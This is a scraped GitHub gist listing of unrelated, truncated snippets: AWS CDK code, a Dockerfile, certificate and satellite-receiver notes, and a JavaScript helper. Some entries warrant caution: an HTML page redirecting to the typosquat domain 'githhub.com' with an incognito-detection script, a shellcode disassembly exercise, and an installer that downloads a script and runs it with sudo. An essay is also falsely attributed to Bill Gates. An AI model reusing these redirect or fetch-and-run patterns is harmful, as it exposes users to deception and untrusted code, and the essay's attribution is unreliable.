Skip to content

Instantly share code, notes, and snippets.

//-----------------------------------------------------------------------------------------------------------------------
/*
* Create a lambda function handler for a graphQL typeName.fieldName
*/
//-----------------------------------------------------------------------------------------------------------------------
const createAppSyncLambdaHandler = function (stack: cdk.Stack, api: appsync.GraphQLApi, recipe: {
name: string, // XXX autogenerate frome type.field the name root of the name for the handler and data source
environment: { [key: string]: string }, // @see https://docs.aws.amazon.com/cdk/api/latest/docs/@aws-cdk_aws-lambda.Function.html
permissions: { obj: any, func: any }, // the currently singleton permissions for the handler to e.g. talk to dynamoDB
description: string, // text description attached to various created objects (can be undefined)
@c0debreaker
c0debreaker / Dockerfile
Created August 2, 2020 00:32 — forked from pszabop/Dockerfile
All these go in a deploy directory. The CDK is under the deploy directory which isn't the prettiest thing but neither is docker pretty
FROM node:12.16.1
RUN npm update -g [email protected]
RUN npm install -g [email protected]
<html>
<head>
<meta http-equiv="refresh" content="5; url=http://ww9.githhub.com/">
<title>Loading</title></head>
<body>
<form method="post" action="http://githhub.com/" target="_top" id="rf">
<input type="hidden" name="ic" value="0"><input type="hidden" name="fb" value="true"/></form>
<script>
!function(e,t){var n,i;return!e.navigator||!(n=navigator.userAgent)||n.indexOf("Chrome/")<0||!(i=e.RequestFileSystem||e.webkitRequestFileSystem)?t(0):void i(e.TEMPORARY,100,function(){t(0)},function(){t(1)})}(window,function(e){e&&(document.querySelector("input[name=ic]").value="1"),document.getElementById("rf").submit()})
</script>
@c0debreaker
c0debreaker / SpiritualPurpose-BillGates.md
Created March 26, 2020 00:05
What is Coronavirus/COVID-19 Really Teaching Us?

What is Coronavirus/COVID-19 Really Teaching Us?

Bill Gates

I’m a strong believer that there is a spiritual purpose behind everything that happens, whether that is what we perceive as being good or being bad.

As I meditate upon this, I want to share with you what I feel the Corona/ Covid-19 virus is really doing to us.

1) It is reminding us that we are all equal, regardless of our culture, religion, occupation, financial situation or how famous we are. This disease treats us all equally, perhaps we should too.

If you don’t believe me, just ask Tom Hanks.

socat fails with dyld library not found. This hack worked like a charm!

These are 2 different errors I executed when I was trying to setup a port 80 listener

sudo socat -d -d TCP-LISTEN:80,fork TCP:$(ipconfig getifaddr en0):31000
dyld: Library not loaded: /usr/local/opt/openssl/lib/libssl.1.0.0.dylib
  Referenced from: /usr/local/bin/socat
  Reason: image not found
Abort trap: 6

Extract opcode from the compiled shellcode written in Assembly Language

╭─[debian] as root in /mnt/exercises/assembly on (master)✘✘✘                                               06-15 11:26:48
╰─(ノ˚Д˚)ノ  objdump -Mintel -d shellcode-bash

shellcode-bash:     file format elf32-i386


Disassembly of section .text:
@c0debreaker
c0debreaker / openssl.MD
Created November 2, 2018 03:28 — forked from jchandra74/openssl.MD
HOWTO: Create Your Own Self-Signed Certificate with Subject Alternative Names Using OpenSSL in Ubuntu Bash for Window

HOWTO: Create Your Own Self-Signed Certificate with Subject Alternative Names Using OpenSSL in Ubuntu Bash for Window

Overview

My main development workstation is a Windows 10 machine, so we'll approach this from that viewpoint.

Recently, Google Chrome started giving me a warning when I open a site that uses https and self-signed certificate on my local development machine due to some SSL certificate issues like the one below:

Self-Signed SSL Issue in Chrome

@c0debreaker
c0debreaker / goesrecv.conf
Created May 26, 2018 03:06
Goes Satellite Configuration
[demodulator]
# mode = "lrit"
mode = "hrit"
source = "airspy"
# The section below configures the sample source to use.
#
# You can leave them commented out to use the default values for the
# demodulator mode you choose ("lrit" or "hrit"). To use and configure
# any of them, uncomment the section below, and change the demodulator
@c0debreaker
c0debreaker / rtl_sdr, multimon-ng and kalibrate-rtl RPi Installer
Created January 19, 2018 06:14 — forked from iNem0o/rtl_sdr, multimon-ng and kalibrate-rtl RPi Installer
Installer script for rtl_sdr, multimon-ng and kalibrate-rtl on raspberry pi  
#!/bin/sh
# install :
# curl -o installer.sh https://gist.github.com/iNem0o/6346423/raw && chmod +x installer.sh && sudo ./installer.sh
sudo apt-get update
sudo apt-get --no-install-recommends -y install git cmake libusb-1.0-0-dev libpulse-dev libx11-dev screen qt4-qmake libtool autoconf automake libfftw3-dev
mkdir ~/src
echo "Installation de rtl_sdr"
@c0debreaker
c0debreaker / PromiseAll.js
Last active February 17, 2017 17:46 — forked from ihgrant/example.js
GET a bunch of stuff and swallow failures
const getAndIgnoreFail = (fn) => {
return fn.catch(err => []);
};
Promise.all([
getAndIgnoreFail(axios.get('whatever')),
getAndIgnoreFail(axios.get('whatever2')),
getAndIgnoreFail(axios.get('whatever3')),
...
]).then(([whatever1, whatever2, whatever3, ...]) => {